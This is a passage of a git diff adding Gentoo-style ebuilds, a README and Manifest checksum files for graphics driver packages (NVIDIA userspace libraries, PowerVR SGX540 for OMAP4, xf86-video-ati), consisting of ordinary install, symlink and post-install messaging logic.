+		donvidia ${NV_X11}/libglx.so ${NV_SOVER} \
+			/usr/$(get_libdir)/opengl/nvidia/extensions
+	fi
+
+	# OpenCL ICD for NVIDIA
+	if use kernel_linux; then
+		insinto /etc/OpenCL/vendors
+		doins ${NV_OBJ}/nvidia.icd
+	fi
+
+	# Documentation
+	dohtml ${NV_DOC}/html/*
+	if use kernel_FreeBSD; then
+		dodoc "${NV_DOC}/README"
+		use X && doman "${NV_MAN}/nvidia-xconfig.1"
+	else
+		# Docs
+		newdoc "${NV_DOC}/README.txt" README
+		dodoc "${NV_DOC}/NVIDIA_Changelog"
+		doman "${NV_MAN}/nvidia-smi.1.gz"
+		doman "${NV_MAN}/nvidia-cuda-mps-control.1.gz"
+		use X && doman "${NV_MAN}/nvidia-xconfig.1.gz"
+	fi
+
+	# Helper Apps
+	exeinto /opt/bin/
+	if use X; then
+		doexe ${NV_OBJ}/nvidia-xconfig
+	fi
+
+	if use kernel_linux ; then
+		doexe ${NV_OBJ}/nvidia-cuda-mps-control
+		doexe ${NV_OBJ}/nvidia-cuda-mps-server
+		doexe ${NV_OBJ}/nvidia-debugdump
+		doexe ${NV_OBJ}/nvidia-modprobe
+		doexe ${NV_OBJ}/nvidia-persistenced
+		doexe ${NV_OBJ}/nvidia-smi
+		doman nvidia-cuda-mps-control.1.gz
+		doman nvidia-modprobe.1.gz
+		doman nvidia-persistenced.1.gz
+		newinitd "${FILESDIR}/nvidia-smi.init" nvidia-smi
+	fi
+
+	exeinto /usr/bin/
+	doexe ${NV_OBJ}/nvidia-bug-report.sh
+
+	if has_multilib_profile && use multilib ; then
+		local OABI=${ABI}
+		for ABI in $(get_install_abis) ; do
+			src_install-libs
+		done
+		ABI=${OABI}
+		unset OABI
+	else
+		src_install-libs
+	fi
+
+	is_final_abi || die "failed to iterate through all ABIs"
+
+	# GNOME3 gnome-terminal redraw bug workaround,
+	# see: https://bugzilla.gnome.org/show_bug.cgi?id=664858
+	doenvd "${FILESDIR}/90mutter-disable-culling"
+}
+
+src_install-libs() {
+	local inslibdir=$(get_libdir)
+	local GL_ROOT="/usr/$(get_libdir)/opengl/nvidia/lib"
+	local CL_ROOT="/usr/$(get_libdir)/OpenCL/vendors/nvidia"
+	local libdir=${NV_OBJ}
+
+	if use kernel_linux && has_multilib_profile && \
+			[[ ${ABI} == "x86" ]] ; then
+		libdir=${NV_OBJ}/32
+	fi
+
+	if use X; then
+		# The GLX libraries
+		donvidia ${libdir}/libGL.so ${NV_SOVER} ${GL_ROOT}
+		donvidia ${libdir}/libnvidia-glcore.so ${NV_SOVER}
+		if use kernel_FreeBSD; then
+			donvidia ${libdir}/libnvidia-tls.so ${NV_SOVER}
+		else
+			donvidia ${libdir}/tls/libnvidia-tls.so ${NV_SOVER}
+		fi
+
+		# VDPAU
+		donvidia ${libdir}/libvdpau_nvidia.so ${NV_SOVER}
+	fi
+
+	# NVIDIA monitoring library
+	if use kernel_linux ; then
+		donvidia ${libdir}/libnvidia-ml.so ${NV_SOVER}
+	fi
+
+	# CUDA & OpenCL
+	if use kernel_linux; then
+		donvidia ${libdir}/libcuda.so ${NV_SOVER}
+		donvidia ${libdir}/libnvidia-compiler.so ${NV_SOVER}
+		donvidia ${libdir}/libOpenCL.so 1.0.0 ${CL_ROOT}
+		donvidia ${libdir}/libnvidia-opencl.so ${NV_SOVER}
+	fi
+}
+
+pkg_preinst() {
+	# Clean the dynamic libGL stuff's home to ensure
+	# we dont have stale libs floating around
+	if [ -d "${ROOT}"/usr/lib/opengl/nvidia ] ; then
+		rm -rf "${ROOT}"/usr/lib/opengl/nvidia/*
+	fi
+	# Make sure we nuke the old nvidia-glx's env.d file
+	if [ -e "${ROOT}"/etc/env.d/09nvidia ] ; then
+		rm -f "${ROOT}"/etc/env.d/09nvidia
+	fi
+}
+
+pkg_postinst() {
+	# Switch to the nvidia implementation
+	use X && "${ROOT}"/usr/bin/eselect opengl set --use-old nvidia
+	"${ROOT}"/usr/bin/eselect opencl set --use-old nvidia
+
+	elog "You must be in the video group to use the NVIDIA device"
+	elog "For more info, read the docs at"
+	elog "http://www.gentoo.org/doc/en/nvidia-guide.xml#doc_chap3_sect6"
+	elog
+	elog "To use the NVIDIA GLX, run \"eselect opengl set nvidia\""
+	elog
+	elog "To use the NVIDIA CUDA/OpenCL, run \"eselect opencl set nvidia\""
+	elog
+	elog "NVIDIA has requested that any bug reports submitted have the"
+	elog "output of /opt/bin/nvidia-bug-report.sh included."
+	elog
+	if ! use X; then
+		elog "You have elected to not install the X.org driver. Along with"
+		elog "this the OpenGL libraries and VDPAU libraries were not"
+		elog "installed. Additionally, once the driver is loaded your card"
+		elog "and fan will run at max speed which may not be desirable."
+		elog "Use the 'nvidia-smi' init script to have your card and fan"
+		elog "speed scale appropriately."
+		elog
+	fi
+}
+
+pkg_prerm() {
+	use X && "${ROOT}"/usr/bin/eselect opengl set --use-old xorg-x11
+}
+
+pkg_postrm() {
+	use X && "${ROOT}"/usr/bin/eselect opengl set --use-old xorg-x11
+}
diff --git a/x11-drivers/nvidia-userspace/nvidia-userspace-96.43.20.ebuild b/x11-drivers/nvidia-userspace/nvidia-userspace-96.43.20.ebuild
new file mode 100644
index 00000000..ba2362b6
--- /dev/null
+++ b/x11-drivers/nvidia-userspace/nvidia-userspace-96.43.20.ebuild
@@ -0,0 +1,395 @@
+# Copyright 1999-2010 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI="2"
+
+inherit eutils unpacker multilib portability versionator flag-o-matic
+
+X86_NV_PACKAGE="NVIDIA-Linux-x86-${PV}"
+AMD64_NV_PACKAGE="NVIDIA-Linux-x86_64-${PV}"
+X86_FBSD_NV_PACKAGE="NVIDIA-FreeBSD-x86-${PV}"
+
+DESCRIPTION="NVIDIA X11 userspace libraries and applications"
+HOMEPAGE="http://www.nvidia.com/"
+SRC_URI="x86? ( ftp://download.nvidia.com/XFree86/Linux-x86/${PV}/${X86_NV_PACKAGE}-pkg0.run )
+	 amd64? ( ftp://download.nvidia.com/XFree86/Linux-x86_64/${PV}/${AMD64_NV_PACKAGE}-pkg2.run )
+	 x86-fbsd? ( ftp://download.nvidia.com/freebsd/${PV}/${X86_FBSD_NV_PACKAGE}.tar.gz )"
+
+LICENSE="NVIDIA"
+SLOT="0"
+KEYWORDS="-* ~amd64 ~x86 ~x86-fbsd"
+IUSE="multilib kernel_linux"
+RESTRICT="strip"
+EMULTILIB_PKG="true"
+
+COMMON="x11-base/xorg-server
+	kernel_linux? ( >=sys-libs/glibc-2.6.1 )
+	multilib? ( app-emulation/emul-linux-x86-opengl )
+	>=app-admin/eselect-opengl-1.0.9"
+DEPEND="${COMMON}
+	kernel_linux? ( virtual/linux-sources )"
+RDEPEND="${COMMON}
+        !<x11-drivers/nvidia-userspace-${PV}
+        !>x11-drivers/nvidia-userspace-${PV}"
+PDEPEND="~x11-drivers/nvidia-drivers-${PV}"
+
+QA_TEXTRELS_x86="usr/lib/opengl/nvidia/lib/libnvidia-tls.so.${PV}
+	usr/lib/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib/opengl/nvidia/lib/libGLcore.so.${PV}
+	usr/lib/opengl/nvidia/extensions/libglx.so.${PV}
+	usr/lib/xorg/modules/drivers/nvidia_drv.so
+	usr/lib/libcuda.so.${PV}
+	usr/lib/libnvidia-cfg.so.${PV}
+	usr/lib/libvdpau_nvidia.so.${PV}
+	usr/lib/libXvMCNVIDIA.so.${PV}"
+
+QA_TEXTRELS_x86_fbsd="boot/modules/nvidia.ko
+	usr/lib/opengl/nvidia/lib/libGL.so.1
+	usr/lib/opengl/nvidia/lib/libGLcore.so.1
+	usr/lib/libnvidia-cfg.so.1
+	usr/lib/opengl/nvidia/extensions/libglx.so.1
+	usr/lib/xorg/modules/drivers/nvidia_drv.so"
+
+QA_TEXTRELS_amd64="usr/lib32/opengl/nvidia/lib/libnvidia-tls.so.${PV}
+	usr/lib32/opengl/nvidia/lib/libGLcore.so.${PV}
+	usr/lib32/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib32/libcuda.so.${PV}
+	usr/lib32/libvdpau_nvidia.so.${PV}"
+
+QA_EXECSTACK_x86="usr/lib/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib/opengl/nvidia/lib/libGLcore.so.${PV}
+	usr/lib/opengl/nvidia/extensions/libglx.so.${PV}
+	usr/lib/xorg/modules/drivers/nvidia_drv.so
+	usr/lib/libXvMCNVIDIA.a:NVXVMC.o"
+
+QA_EXECSTACK_amd64="usr/lib32/opengl/nvidia/lib/libGLcore.so.${PV}
+	usr/lib32/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib64/libnvcompiler.so.${PV}
+	usr/lib64/libXvMCNVIDIA.so.${PV}
+	usr/lib64/libXvMCNVIDIA.a:NVXVMC.o
+	usr/lib64/libnvidia-cfg.so.${PV}
+	usr/lib64/opengl/nvidia/lib/libnvidia-tls.so.${PV}
+	usr/lib64/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib64/opengl/nvidia/lib/libGLcore.so.${PV}
+	usr/lib64/opengl/nvidia/extensions/libglx.so.${PV}
+	usr/lib64/xorg/modules/drivers/nvidia_drv.so
+	usr/bin/nvidia-smi
+	usr/bin/nvidia-xconfig"
+
+QA_WX_LOAD_x86="usr/lib/opengl/nvidia/lib/libGLcore.so.${PV}
+	usr/lib/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib/opengl/nvidia/extensions/libglx.so.${PV}
+	usr/lib/libXvMCNVIDIA.a"
+
+QA_WX_LOAD_amd64="usr/lib32/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib32/opengl/nvidia/lib/libGLcore.so.${PV}
+	usr/lib64/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib64/opengl/nvidia/lib/libGLcore.so.${PV}
+	usr/lib64/opengl/nvidia/extensions/libglx.so.${PV}"
+
+QA_SONAME_amd64="usr/lib64/libnvcompiler.so.${PV}"
+
+QA_DT_HASH_amd64="usr/lib32/libcuda.so.${PV}
+	usr/lib32/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib32/opengl/nvidia/lib/libGLcore.so.${PV}
+	usr/lib32/opengl/nvidia/lib/libnvidia-tls.so.${PV}
+	usr/lib32/libvdpau_nvidia.so.${PV}
+	usr/lib64/libXvMCNVIDIA.so.${PV}
+	usr/lib64/libcuda.so.${PV}
+	usr/lib64/libnvidia-cfg.so.${PV}
+	usr/lib64/opengl/nvidia/lib/libGLcore.so.${PV}
+	usr/lib64/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib64/opengl/nvidia/lib/libnvidia-tls.so.${PV}
+	usr/lib64/opengl/nvidia/extensions/libglx.so.${PV}
+	usr/lib64/xorg/modules/drivers/nvidia_drv.so
+	usr/lib64/libvdpau_nvidia.so.${PV}
+	usr/bin/nvidia-smi
+	usr/bin/nvidia-xconfig"
+
+QA_DT_HASH_x86="usr/lib/libcuda.so.${PV}
+	usr/lib/libnvidia-cfg.so.${PV}
+	usr/lib/opengl/nvidia/lib/libGLcore.so.${PV}
+	usr/lib/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib/opengl/nvidia/lib/libnvidia-tls.so.${PV}
+	usr/lib/opengl/nvidia/extensions/libglx.so.${PV}
+	usr/lib/xorg/modules/drivers/nvidia_drv.so
+	usr/lib/libXvMCNVIDIA.so.${PV}
+	usr/lib/libvdpau_nvidia.so.${PV}
+	usr/bin/nvidia-smi
+	usr/bin/nvidia-xconfig"
+
+if use x86; then
+	PKG_V="-pkg0"
+	NV_PACKAGE="${X86_NV_PACKAGE}"
+elif use amd64; then
+	PKG_V="-pkg2"
+	NV_PACKAGE="${AMD64_NV_PACKAGE}"
+elif use x86-fbsd; then
+	PKG_V=""
+	NV_PACKAGE="${X86_FBSD_NV_PACKAGE}"
+fi
+
+S="${WORKDIR}/${NV_PACKAGE}${PKG_V}"
+
+pkg_setup() {
+	# try to turn off distcc and ccache for people that have a problem with it
+	export DISTCC_DISABLE=1
+	export CCACHE_DISABLE=1
+
+	if use amd64 && has_multilib_profile && [ "${DEFAULT_ABI}" != "amd64" ]; then
+		eerror "This ebuild doesn't currently support changing your default abi."
+		die "Unexpected \${DEFAULT_ABI} = ${DEFAULT_ABI}"
+	fi
+
+	# On BSD userland it wants real make command
+	use userland_BSD && MAKE="$(get_bmake)"
+
+	export _POSIX2_VERSION="199209"
+
+	# set variables to where files are in the package structure
+	if use kernel_FreeBSD; then
+		NV_DOC="${S}/doc"
+		NV_EXEC="${S}/obj"
+		NV_LIB="${S}/obj"
+		NV_SRC="${S}/src"
+		NV_MAN="${S}/x11/man"
+		NV_X11="${S}/obj"
+		NV_X11_DRV="${NV_X11}"
+		NV_X11_EXT="${NV_X11}"
+		NV_SOVER=1
+	elif use kernel_linux; then
+		NV_DOC="${S}/usr/share/doc"
+		NV_EXEC="${S}/usr/bin"
+		NV_LIB="${S}/usr/lib"
+		NV_SRC="${S}/usr/src/nv"
+		NV_MAN="${S}/usr/share/man/man1"
+		NV_X11="${S}/usr/X11R6/lib"
+		NV_X11_DRV="${NV_X11}/modules/drivers"
+		NV_X11_EXT="${NV_X11}/modules/extensions"
+		NV_SOVER=${PV}
+	else
+		die "Could not determine proper NVIDIA package"
+	fi
+}
+
+src_unpack() {
+	if ! use x86-fbsd; then
+		mkdir "${S}"
+		cd "${S}"
+		unpack_makeself
+	else
+		unpack ${A}
+	fi
+}
+
+src_prepare() {
+	# Please add a brief description for every added patch
+	use x86-fbsd && cd doc
+
+	# Use the correct defines to make gtkglext build work
+	epatch "${FILESDIR}"/NVIDIA_glx-defines.patch
+	# Use some more sensible gl headers and make way for new glext.h
+	epatch "${FILESDIR}"/NVIDIA_glx-glheader.patch
+}
+
+src_compile() {
+	# This is already the default on Linux, as there's no toplevel Makefile, but
+	# on FreeBSD there's one and triggers the kernel module build, as we install
+	# it by itself, pass this.
+
+	cd "${NV_SRC}"
+	if use x86-fbsd; then
+		MAKE="$(get_bmake)" CFLAGS="-Wno-sign-compare" emake CC="$(tc-getCC)" \
+			LD="$(tc-getLD)" LDFLAGS="$(raw-ldflags)" || die
+	fi
+}
+
+src_install() {
+	if use kernel_linux; then
+		VIDEOGROUP="$(egetent group video | cut -d ':' -f 3)"
+		if [ -z "$VIDEOGROUP" ]; then
+			eerror "Failed to determine the video group gid."
+			die "Failed to determine the video group gid."
+		fi
+
+		# Add the aliases
+		[ -f "${FILESDIR}/nvidia-169.07" ] || die "nvidia missing in FILESDIR"
+		sed -e 's:PACKAGE:'${PF}':g' \
+			-e 's:VIDEOGID:'${VIDEOGROUP}':' "${FILESDIR}"/nvidia-169.07 > \
+			"${WORKDIR}"/nvidia
+		insinto /etc/modprobe.d
+		newins "${WORKDIR}"/nvidia nvidia.conf || die
+	fi
+
+	# NVIDIA kernel <-> userspace driver config lib
+	dolib.so ${NV_LIB}/libnvidia-cfg.so.${NV_SOVER} || \
+		die "failed to install libnvidia-cfg"
+
+	# Xorg DDX driver
+	insinto /usr/$(get_libdir)/xorg/modules/drivers
+	doins ${NV_X11_DRV}/nvidia_drv.so || die "failed to install nvidia_drv.so"
+
+	# Xorg GLX driver
+	insinto /usr/$(get_libdir)/opengl/nvidia/extensions
+	doins ${NV_X11_EXT}/libglx.so.${NV_SOVER} || \
+		die "failed to install libglx.so"
+	dosym /usr/$(get_libdir)/opengl/nvidia/extensions/libglx.so.${NV_SOVER} \
+		/usr/$(get_libdir)/opengl/nvidia/extensions/libglx.so || \
+		die "failed to create libglx.so symlink"
+
+	# XvMC driver
+	dolib.a ${NV_X11}/libXvMCNVIDIA.a || \
+		die "failed to install libXvMCNVIDIA.so"
+	dolib.so ${NV_X11}/libXvMCNVIDIA.so.${NV_SOVER} || \
+		die "failed to install libXvMCNVIDIA.so"
+	dosym libXvMCNVIDIA.so.${NV_SOVER} /usr/$(get_libdir)/libXvMCNVIDIA.so || \
+		die "failed to create libXvMCNVIDIA.so symlink"
+
+	# CUDA headers (driver to come)
+	if use kernel_linux && [[ -d ${S}/usr/include/cuda ]]; then
+		dodir /usr/include/cuda
+		insinto /usr/include/cuda
+		doins usr/include/cuda/*.h || die "failed to install cuda headers"
+	fi
+
+	# OpenCL headers (driver to come)
+	if [[ -d ${S}/usr/include/CL ]]; then
+		dodir /usr/include/CL
+		insinto /usr/include/CL
+		doins usr/include/CL/*.h || die "failed to install OpenCL headers"
+	fi
+
+	# Documentation
+	dodoc ${NV_DOC}/XF86Config.sample
+	dohtml ${NV_DOC}/html/*
+	if use x86-fbsd; then
+		dodoc "${NV_DOC}/README"
+		doman "${NV_MAN}/nvidia-xconfig.1"
+	else
+		# Docs
+		newdoc "${NV_DOC}/README.txt" README
+		dodoc "${NV_DOC}/NVIDIA_Changelog"
+#		doman "${NV_MAN}/nvidia-smi.1.gz"
+		doman "${NV_MAN}/nvidia-xconfig.1.gz"
+	fi
+
+	# Helper Apps
+	dobin ${NV_EXEC}/nvidia-xconfig || die
+	dobin ${NV_EXEC}/nvidia-bug-report.sh || die
+#	if use kernel_linux; then
+#		dobin ${NV_EXEC}/nvidia-smi || die
+#	fi
+
+	if has_multilib_profile ; then
+		local OABI=${ABI}
+		for ABI in $(get_install_abis) ; do
+			src_install-libs
+		done
+		ABI=${OABI}
+		unset OABI
+	else
+		src_install-libs
+	fi
+
+	is_final_abi || die "failed to iterate through all ABIs"
+}
+
+# Install nvidia library:
+# the first parameter is the place where to install it
+# the second parameter is the base name of the library
+# the third parameter is the provided soversion
+donvidia() {
+	dodir $1
+	exeinto $1
+
+	libname=$(basename $2)
+
+	doexe $2.$3 || die "failed to install $2"
+	dosym ${libname}.$3 $1/${libname} || die "failed to symlink $2"
+	[[ $3 != "1" ]] && dosym ${libname}.$3 $1/${libname}.1
+}
+
+src_install-libs() {
+	local inslibdir=$(get_libdir)
+	local NV_ROOT="/usr/${inslibdir}/opengl/nvidia"
+	local libdir= sover=
+
+	if use kernel_linux; then
+		if has_multilib_profile && [[ ${ABI} == "x86" ]] ; then
+			libdir=usr/lib32
+		else
+			libdir=usr/lib
+		fi
+		sover=${PV}
+	else
+		libdir=obj
+		# on FreeBSD it has just .1 suffix
+		sover=1
+	fi
+
+	# The GLX libraries
+	donvidia ${NV_ROOT}/lib ${libdir}/libGL.so ${sover}
+	donvidia ${NV_ROOT}/lib ${libdir}/libGLcore.so ${sover}
+	if use x86-fbsd; then
+		donvidia ${NV_ROOT}/lib ${libdir}/libnvidia-tls.so ${sover}
+	else
+		donvidia ${NV_ROOT}/lib ${libdir}/tls/libnvidia-tls.so ${sover}
+	fi
+
+	#cuda
+	if [[ -f ${libdir}/libcuda.so.${sover} ]]; then
+		dolib.so ${libdir}/libcuda.so.${sover}
+		[[ "${sover}" != "1" ]] && dosym libcuda.so.${sover} /usr/${inslibdir}/libcuda.so.1
+		dosym libcuda.so.1 /usr/${inslibdir}/libcuda.so
+	fi
+
+	#vdpau
+	if [[ -f ${libdir}/libvdpau_nvidia.so.${sover} ]]; then
+		dolib.so ${libdir}/libvdpau_nvidia.so.${sover}
+		dosym libvdpau_nvidia.so.${sover} /usr/${inslibdir}/libvdpau_nvidia.so
+	fi
+
+	# OpenCL
+	# NOTE: This isn't currently available in the publicly released drivers.
+	if [[ -f ${libdir}/libOpenCL.so.1.0.0 ]]; then
+
+		dolib.so ${libdir}/libnvcompiler.so.${sover}
+		[[ "${sover}" != "1" ]] && dosym libnvcompiler.so.${sover} /usr/${inslibdir}/libnvcompiler.so.1
+		dosym libnvcompiler.so.1 /usr/${inslibdir}/libnvcompiler.so
+
+		dolib.so ${libdir}/libOpenCL.so.1.0.0
+		dosym libOpenCL.so.1.0.0 /usr/${inslibdir}/libOpenCL.so.1
+		dosym libOpenCL.so.1 /usr/${inslibdir}/libOpenCL.so
+	fi
+}
+
+pkg_preinst() {
+	# Clean the dynamic libGL stuff's home to ensure
+	# we dont have stale libs floating around
+	if [ -d "${ROOT}"/usr/lib/opengl/nvidia ] ; then
+		rm -rf "${ROOT}"/usr/lib/opengl/nvidia/*
+	fi
+	# Make sure we nuke the old nvidia-glx's env.d file
+	if [ -e "${ROOT}"/etc/env.d/09nvidia ] ; then
+		rm -f "${ROOT}"/etc/env.d/09nvidia
+	fi
+}
+
+pkg_postinst() {
+	# Switch to the nvidia implementation
+	eselect opengl set --use-old nvidia
+
+	elog "To use the NVIDIA GLX, run \"eselect opengl set nvidia\""
+	elog
+	elog "NVIDIA has requested that any bug reports submitted have the"
+	elog "output of /usr/bin/nvidia-bug-report.sh included."
+	elog
+	elog "To work with compiz, you must enable the AddARGBGLXVisuals option."
+	elog
+	elog "If you are having resolution problems, try disabling DynamicTwinView."
+}
+
+pkg_postrm() {
+	eselect opengl set --use-old xorg-x11
+}
diff --git a/x11-drivers/pvr-omap4/Manifest b/x11-drivers/pvr-omap4/Manifest
new file mode 100644
index 00000000..a61361fe
--- /dev/null
+++ b/x11-drivers/pvr-omap4/Manifest
@@ -0,0 +1,4 @@
+DIST pvr-omap4_1.7.10.0.1.9-1.diff.gz 7967 RMD160 9259d8b7bffe0a716435938f7595ed6d69fa88de SHA1 820b85583cef64f6c483437a5bc5fc3ff296ae72 SHA256 d6f81f7e7481f20874e7880f1e994f50e3767f6bffa7ef664c319a247a6f5df9
+DIST pvr-omap4_1.7.10.0.1.9.orig.tar.gz 6293374 RMD160 153fb7c7b9cac505f12f1f6c6925176a103a5072 SHA1 aba00b62ab570c98429abba406243a81b8b4b829 SHA256 b0a15ef5123a953eff26f5cd82aed553b4139fc420a31add8924789d6d1d0341
+EBUILD pvr-omap4-1.7.10.0.1.9.ebuild 833 RMD160 54b790c513cad54281581d7c990356ab79fe5edc SHA1 e5a5a93f6e23aaf7b236ae6128859d9d8cab113e SHA256 8993e09eaad6dfc726d39d99f2f45ad03a6d55b1bda024c4cf1eb0f4a756efcd
+MISC README 131 RMD160 202365c2f788d0cb660a9dd4a6ae72ac13976f62 SHA1 3e93e90b03455aa55fb3c70e18a5fa2cb3928b97 SHA256 ac79600bfa4fc961cafa071536220f3f24900b7c1779f2877ebb33013b6c2dda
diff --git a/x11-drivers/pvr-omap4/README b/x11-drivers/pvr-omap4/README
new file mode 100644
index 00000000..fab6bbd1
--- /dev/null
+++ b/x11-drivers/pvr-omap4/README
@@ -0,0 +1,2 @@
+This ebuild has been imported from the "pandaboard" layman overlay.
+Deps got fixed in order to accomodate sabayon kernel packages.
diff --git a/x11-drivers/pvr-omap4/pvr-omap4-1.7.10.0.1.9.ebuild b/x11-drivers/pvr-omap4/pvr-omap4-1.7.10.0.1.9.ebuild
new file mode 100644
index 00000000..a4731be6
--- /dev/null
+++ b/x11-drivers/pvr-omap4/pvr-omap4-1.7.10.0.1.9.ebuild
@@ -0,0 +1,38 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/net-wireless/zd1211-firmware/zd1211-firmware-1.4.ebuild,v 1.2 2007/11/03 12:03:19 dsd Exp $
+
+EAPI="3"
+
+inherit eutils
+
+DESCRIPTION="PowerVR SGX540 libraries for OMAP4"
+
+HOMEPAGE=""
+SRC_URI="https://launchpad.net/~tiomap-dev/+archive/release/+files/${PN}_${PV}.orig.tar.gz
+https://launchpad.net/~tiomap-dev/+archive/release/+files/${PN}_${PV}-1.diff.gz"
+
+
+LICENSE="TI"
+SLOT="0"
+KEYWORDS="arm"
+
+IUSE=""
+DEPEND="sys-libs/sgx-libs
+	<x11-base/xorg-server-1.11
+	x11-libs/libdrm"
+RDEPEND="${DEPEND}"
+
+#S="${WORKDIR}"
+RESTRICT="strip"
+
+src_prepare() {
+	cd "${WORKDIR}"
+	epatch *.diff
+}
+
+src_install() {
+	exeinto /usr/lib/xorg/modules/drivers
+	doexe "${S}"/usr/lib/xorg/modules/drivers/pvr_drv.so
+}
+
diff --git a/x11-drivers/xf86-video-ati/Manifest b/x11-drivers/xf86-video-ati/Manifest
new file mode 100644
index 00000000..cb4826b0
--- /dev/null
+++ b/x11-drivers/xf86-video-ati/Manifest
@@ -0,0 +1,13 @@
+AUX xf86-video-ati-6.14.4-exa-solid-accel-evergreen.patch 10993 SHA256 2bc497c453c5e87f63cde4f224446347c5d730575ebecccc0aa0feba18ce7fd4 SHA512 0e67b38e043d4587b54dbb05fdd5ca5816ed38cb0b02c54f3e1091585ca0759d3d9cc39b675da3db81fb72d22a26e3733d2cb354a8df720b8e508332aa08ef14 WHIRLPOOL 8b7e43b1e478ad5752128d3a058c2a3a5f3a51a2b8f8c08f801b41d8423aa3ea4c16f47cf44bd47746926ec3cce5a80b509fc52cb276751bc5568b5acd245f62
+AUX xf86-video-ati-6.14.4-exa-solid-accel-r100.patch 6527 SHA256 d1d991d7aaef21132ea892757611fbb660dfe64fb6b5ffb1bd33f8b6f2d98342 SHA512 548dc69900b76f3b9eb4674798cad7736dfe9a75972c27c96f431cd2e15f9ebe7173dca3e59e018bdc392fa879e9b2d0a21f9d54479f5a209889b28198ba22c4 WHIRLPOOL 9eaeaa995f356dc8f7a8dac3683476892465cdfd595a3f48e98d54c425496104db367f137e6aa74c16377307d1199ffcfe8715485c0e50edc0232eae75446ef6
+AUX xf86-video-ati-6.14.4-exa-solid-accel-r200.patch 6548 SHA256 0a49ca2a700e90721390eb77e62086aa0c68201ede9db2f9aea21ddc957eb444 SHA512 1f46f12584263053266e39f59720be2950fbfe057d1fcde584f039098294c8499d07b616c10356fbbe1821f444e8a08116b51b2774d0cf378a5ef3f7162b4dfb WHIRLPOOL a55c5145e821e689633ebdf57e6436e93b79fff52d3c0d0aedab48166840e8504f494c083c37d2bb9aab9268962cbe5d7da06cd6d871a7cbe9cadcdf0c2a4614
+AUX xf86-video-ati-6.14.4-exa-solid-accel-r300.patch 20383 SHA256 1ad91f3d120f06beb9d0d905931aeb4086ff7d7342ebbdf681b2d9ffa66169f7 SHA512 bffec3f83b466605ec8b7a62e4c3a882ca095777b7530518eae0d2a97e6d06a0c7216788f5821dfa5185558fc24325080caa7dbc04fd73049698bf63235af014 WHIRLPOOL a637454d3a0fb9101c32b06229a5a7ef139c68e788bc3557b502f2ea112adfc8f85ce718e3d23fee29c3d0a4f0a529c97e0044a4854be94f5ea6514c56dfb3f3
+DIST xf86-video-ati-6.14.4.tar.bz2 1108681 SHA256 4ffe435ef8fbe0989f6576f04f789e147a2de7fdefc3644e39d5ef626c37ef85 SHA512 68913954607680e299cb798ff58cfdaf2381823778f85d18adf2701439cc1f954f92867c226b51830b3adf8c3967119a989b2e07ff3af7c7b4c043e784c8e078 WHIRLPOOL a6f50f2ea1233bec17929404243f08eda636af9c7a9ba46e1bf1503f14e8d42df15627a3f41909d8b04896f2ce0f5e70d912f1768089b80b10a1d5b08600debe
+DIST xf86-video-ati-6.14.6.tar.bz2 1139495 SHA256 aa5286b3e4f0187d7df14785c06dd800255d9405205dbf061da5d77df86bec36 SHA512 7ed64bb3596703f7c575aec37a6918bac251819fe638acc66a29aab7648d8a81dedd8d416f970faa1f757fa8e9e3ccdc43e4499d06271cc2751288040d1d957e WHIRLPOOL 9b72e873c3108daeb10cfc68523eb9bc2c12f5525096f9a2639a7dbeb58fd2912b474b8820172ffc9351458d2e046b43e0d064bb4f4189bb99b06a995f3204e8
+DIST xf86-video-ati-7.0.0.tar.bz2 775854 SHA256 c0acc81386425651aae5dfe02d89f935bb63b2a62104da0d88deac3c773ea10e SHA512 f82da3445684aba7f158961fc9882e777c0661ba161a4b923bdf8d3b70a8a16bca08de87af6c7f3943fa6a4308e2aa0ea42b8749a19b52374c1599d669b9512c WHIRLPOOL 4e27614e451fdf5a479695ffe207eb86ea52e45ddfbe5835a5c9912cd58c70968bc118f0586de2f7629183eed1810a70f9bc079763db065f0dc15ae33cd62347
+DIST xf86-video-ati-7.1.0.tar.bz2 804531 SHA256 c8ae44051fcb331625217f98c09a3aa69f493052b69d62c03f41fed0bfe610cd SHA512 eff193b51db162d498b41ebc5b78fbfbcbedbfb2041dcd710ced2f41cee4a039de26ca646dedd65b3cefc9157abfb37a118e3ae2f2e034280e351a00e45db805 WHIRLPOOL d2b1bd7a140fecddc246a6d94f1f6f93fb36ad1d78d447da4f7745060fb4f42fd09b0d85fccb1a7f5b490ce77fd22d3c649982bcb0a06228db2a9b9aa1d8e3d3
+EBUILD xf86-video-ati-6.14.4-r1.ebuild 1193 SHA256 8a70a89d1191782c9579028bfacad59e195b04a1b1f591ccce6b2c493bc021d1 SHA512 a6de0a69c5990f943e8e663ffbe07dbe7907ae64ffba6817af040d92c0ac7a89a1702d6a8a14a02735deb200e513a27a56355da53228100baa0855fc3a958150 WHIRLPOOL 3f0bceaf4810de8eb67f922d7d6bd562e977dcbda69d1c144db0e2d19ad4d80534b002d78fc52eec9b8ec3261b13025e5f70f239668e6e969fe58e6f23807f04
+EBUILD xf86-video-ati-6.14.6-r1.ebuild 972 SHA256 03545ff8484c22a36bb763e6e1d211d495cba67eb696015dd85fa75ef7a3d909 SHA512 7892d21eab399e2a7f687688b62c6ff65a643c8ddfe88052d5d19d5d6dc5ce813e46484b2d98e2520848a73521c1813340bc5efa2e11e9ad848ba04765a3ea83 WHIRLPOOL 5cad5bd388ecbd3dbcb71947b46a9ca4c58e34384b8afe308f1784493c696b40e283f750c2f6b3581bff66dd200af1c654c7cfcb33137647d826636ad3fab4f3
